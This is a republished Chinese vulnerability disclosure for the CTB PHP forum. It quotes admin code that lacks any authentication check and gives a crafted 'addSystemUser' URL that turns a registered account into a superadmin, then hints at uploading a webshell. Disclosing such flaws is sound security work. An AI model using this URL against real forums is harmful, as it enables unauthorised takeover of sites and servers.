Heim Backend-Entwicklung PHP-Tutorial 漂亮但不安全的CTB_PHP

漂亮但不安全的CTB_PHP

Jun 01, 2016 pm 12:38 PM
mod zurück 安全 hübsch 用户 管理 验证


>>>Dedicated This Scrap To CaoJing
涉及版本: 
^^^^^^^ 
目前所有版本(现在1.3Alpha为最高版本) 

描述: 
^^^^^^ 
CTB是一款由实易数码;开发和维护的源代码开放的PHP论坛。由于其后台管理文件验证存在缺陷,可能导致非法用户直接添加论坛超级管理员,进而威胁论坛或服务器安全。 

具体: 
^^^^ 
CTB书写非常规范,代码井然有序,赏心悦目,的确是优美的程序;特别是其功能模块,着实让小弟学习了一把。但安全方面却令人堪忧: 

试看如下代码: 

/admin/main.php 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
 //获取get变量 
   if( is_array($_GET) ) { 
      foreach($_GET as $k=>$v) { 
           if( is_array( $_GET[$k]) ) { 
               foreach($_GET[$k] as $k2=>$v2) { 
                   $return[$k][$k2] = $v2; 
               } 
           } else { 
               $return[$k] = $v; 
           } 
       } 

... 
$mod = isset($_GET['mod']) ? $_GET['mod'] : $_POST['mod']; 
   if (!file_exists($mod.".php" { 
       $mod = "mainright"; 
   } 
   require_once ($mod.".php"; 
   //----------------------------------------------------------------------------- 

   //初始化类变量 
   $ctb = new Module; 
   $ctb->set = $set; 
   $ctb->tplPath = "./templates"; 
   $ctb->input = $return; 
   $ctb->sess = isset($_COOKIE["sess_adminname"]) ? $_COOKIE : $_SESSION; 
   $ctb->execute(); 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

这里没有任何验证,我们看看添加管理员的文件: 

/admin/systemuser.php 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
class Module extends CommonClass 
//系统管理模块子类 

   function execute() { 
       switch($this->input['action']) { 
... 
case 'addSystemUser': 
               $this->addSystemUser(); 
               break; 
... 
    }       
   } 

function addSystemUser() 

   //输入数据简单格式化 
   $this->inputCheck("main.php?mod=systemuser&action=showSystemUser"; 
   //执行添加操作 
        $this->file = "../".$this->set[dataPath]."/users/list.php"; 
   $systemLine = $this->select(4, $this->input['systemUserName']); 
.... 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

依然没有验证,一路顺利啊! 

利用方法: 
^^^^^^^ 
先注册一个用户: 

登陆ID:  cat 
用户名 :   dog 
密码:      ilikecat 
重复密码:  ilikecat 
信箱:      cat@dog.com 

接着提交如下URL: 

http://www.target.com/ctb/admin/main.php?mod=systemuser&systemUserName=dog&systemUserMode=1&action=addSystemUser

哈哈,你现在已经是超级管理员了,不相信?提交如下URL后台登陆: 

http://www.psych.com/ctb/admin/main.php?mod=login 

管理名称:  cat 
管理密码:  ilikecat 

咦...还真成功了! 

你现在是不是想更改后台上传文件类型,然后upload webshell?哼,被我猜到了吧... 

后记:另外发现CTB代码注释有些扎眼的错别字,大煞风景,希望可以一起修正。
Erklärung dieser Website
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn

Heiße KI -Werkzeuge

Undresser.AI Undress

Undresser.AI Undress

KI-gestützte App zum Erstellen realistischer Aktfotos

AI Clothes Remover

AI Clothes Remover

Online-KI-Tool zum Entfernen von Kleidung aus Fotos.

Undress AI Tool

Undress AI Tool

Ausziehbilder kostenlos

Clothoff.io

Clothoff.io

KI-Kleiderentferner

Video Face Swap

Video Face Swap

Tauschen Sie Gesichter in jedem Video mühelos mit unserem völlig kostenlosen KI-Gesichtstausch-Tool aus!

Heiße Werkzeuge

Notepad++7.3.1

Notepad++7.3.1

Einfach zu bedienender und kostenloser Code-Editor

SublimeText3 chinesische Version

SublimeText3 chinesische Version

Chinesische Version, sehr einfach zu bedienen

Senden Sie Studio 13.0.1

Senden Sie Studio 13.0.1

Leistungsstarke integrierte PHP-Entwicklungsumgebung

Dreamweaver CS6

Dreamweaver CS6

Visuelle Webentwicklungstools

SublimeText3 Mac-Version

SublimeText3 Mac-Version

Codebearbeitungssoftware auf Gottesniveau (SublimeText3)

Cyberpunk 2077 verzeichnet mit dem neuen optimierten Pfadverfolgungs-Mod eine Leistungssteigerung von bis zu 40 % Cyberpunk 2077 verzeichnet mit dem neuen optimierten Pfadverfolgungs-Mod eine Leistungssteigerung von bis zu 40 % Aug 10, 2024 pm 09:45 PM

Eines der herausragenden Features von Cyberpunk 2077 ist die Pfadverfolgung, die jedoch die Leistung stark beeinträchtigen kann. Selbst Systeme mit halbwegs leistungsfähigen Grafikkarten wie die RTX 4080 (Gigabyte AERO OC aktuell 949,99 $ bei Amazon) haben Schwierigkeiten, eine stabile Leistung zu bieten

Rabbit R1 wird für die Ausführung von Spielen modifiziert und bietet eine bessere Leistung als erwartet Rabbit R1 wird für die Ausführung von Spielen modifiziert und bietet eine bessere Leistung als erwartet Jun 29, 2024 am 07:50 AM

Anfang dieses Monats stellte ein YouTuber namens HowToMen den Rabbit R1 mit Android vor. Mit diesem Mod kann das Gerät, das ursprünglich weniger ablenkend sein sollte als ein Telefon, wie eines funktionieren. Das ist jedoch keine schlechte Sache, da Rabbit es nicht getan hat

Der DIY-Mod Asus ROG Ally verdoppelt nahezu die Akkukapazität, ohne dass etwas freiliegt Der DIY-Mod Asus ROG Ally verdoppelt nahezu die Akkukapazität, ohne dass etwas freiliegt Aug 20, 2024 am 06:57 AM

Der Asus ROG Ally verfügt über einen 40-Wh-Akku, was typischerweise zu einer Laufzeit von etwa zwei Stunden führt. Beim Ally iFixit hat sich eins ausgedacht

PHP-Mikroframework: Sicherheitsdiskussion von Slim und Phalcon PHP-Mikroframework: Sicherheitsdiskussion von Slim und Phalcon Jun 04, 2024 am 09:28 AM

Im Sicherheitsvergleich zwischen Slim und Phalcon im PHP-Mikroframework verfügt Phalcon über integrierte Sicherheitsfunktionen wie CSRF- und XSS-Schutz, Formularvalidierung usw., während Slim keine sofort einsatzbereiten Sicherheitsfunktionen aufweist und eine manuelle Implementierung erfordert Sicherheitsmaßnahmen. Für sicherheitskritische Anwendungen bietet Phalcon einen umfassenderen Schutz und ist die bessere Wahl.

Wie sollte das Design der Sicherheitsarchitektur des Java-Frameworks mit den Geschäftsanforderungen in Einklang gebracht werden? Wie sollte das Design der Sicherheitsarchitektur des Java-Frameworks mit den Geschäftsanforderungen in Einklang gebracht werden? Jun 04, 2024 pm 02:53 PM

Das Java-Framework-Design ermöglicht Sicherheit, indem es Sicherheitsanforderungen mit Geschäftsanforderungen in Einklang bringt: Identifizierung wichtiger Geschäftsanforderungen und Priorisierung relevanter Sicherheitsanforderungen. Entwickeln Sie flexible Sicherheitsstrategien, reagieren Sie schichtweise auf Bedrohungen und nehmen Sie regelmäßige Anpassungen vor. Berücksichtigen Sie architektonische Flexibilität, unterstützen Sie die Geschäftsentwicklung und abstrakte Sicherheitsfunktionen. Priorisieren Sie Effizienz und Verfügbarkeit, optimieren Sie Sicherheitsmaßnahmen und erhöhen Sie die Sichtbarkeit.

Sicherheitskonfiguration und Härtung des Struts 2-Frameworks Sicherheitskonfiguration und Härtung des Struts 2-Frameworks May 31, 2024 pm 10:53 PM

Um Ihre Struts2-Anwendung zu schützen, können Sie die folgenden Sicherheitskonfigurationen verwenden: Nicht verwendete Funktionen deaktivieren. Inhaltstypprüfung aktivieren. Eingaben validieren. Sicherheitstokens aktivieren. CSRF-Angriffe verhindern. Verwenden Sie RBAC, um den rollenbasierten Zugriff einzuschränken

Implementierung von Algorithmen für maschinelles Lernen in C++: Sicherheitsüberlegungen und Best Practices Implementierung von Algorithmen für maschinelles Lernen in C++: Sicherheitsüberlegungen und Best Practices Jun 01, 2024 am 09:26 AM

Bei der Implementierung von Algorithmen für maschinelles Lernen in C++ sind Sicherheitsaspekte von entscheidender Bedeutung, einschließlich Datenschutz, Modellmanipulation und Eingabevalidierung. Zu den Best Practices gehören die Einführung sicherer Bibliotheken, die Minimierung von Berechtigungen, die Verwendung von Sandboxing und die kontinuierliche Überwachung. Der praktische Fall demonstriert die Verwendung der Botan-Bibliothek zum Ver- und Entschlüsseln des CNN-Modells, um sicheres Training und Vorhersage zu gewährleisten.

So fügen Sie Nutzer in Google Manager hinzu und verwalten sie So fügen Sie Nutzer in Google Manager hinzu und verwalten sie Sep 02, 2024 pm 02:41 PM

Wie füge ich Nutzer in Google Manager hinzu und verwalte sie? Google Chrome unterstützt die Anmeldung mehrerer Benutzer, sodass wir uns nicht um die geräteübergreifende Anmeldung kümmern müssen. Wenn wir viele Benutzer haben, müssen wir eine Verwaltung hinzufügen. Einige Freunde wissen möglicherweise nicht, wie man es bedient. Keine Sorge, der Herausgeber hat heute für alle eine ausführliche Schritt-für-Schritt-Anleitung zusammengestellt. Wenn Sie interessiert sind, schauen Sie sich den Editor an. Detaillierte Schritt-für-Schritt-Anleitung für die Anleitung 1. Suchen Sie nach dem Einschalten des Computers das installierte Google Chrome-Symbol auf dem Desktop und doppelklicken Sie, um es zu öffnen, wie im Bild unten gezeigt. 2. Klicken Sie auf das Symbol mit den drei Punkten in der oberen rechten Ecke von Google Chrome, wie im Bild unten gezeigt. 3. Klicken Sie im Dropdown-Menü von Google Chrome auf die Option [Einstellungen], wie in der Abbildung unten gezeigt. 4. Klicken Sie in der sich öffnenden Google Chrome-Einstellungsoberfläche auf [Channel verwalten].

See all articles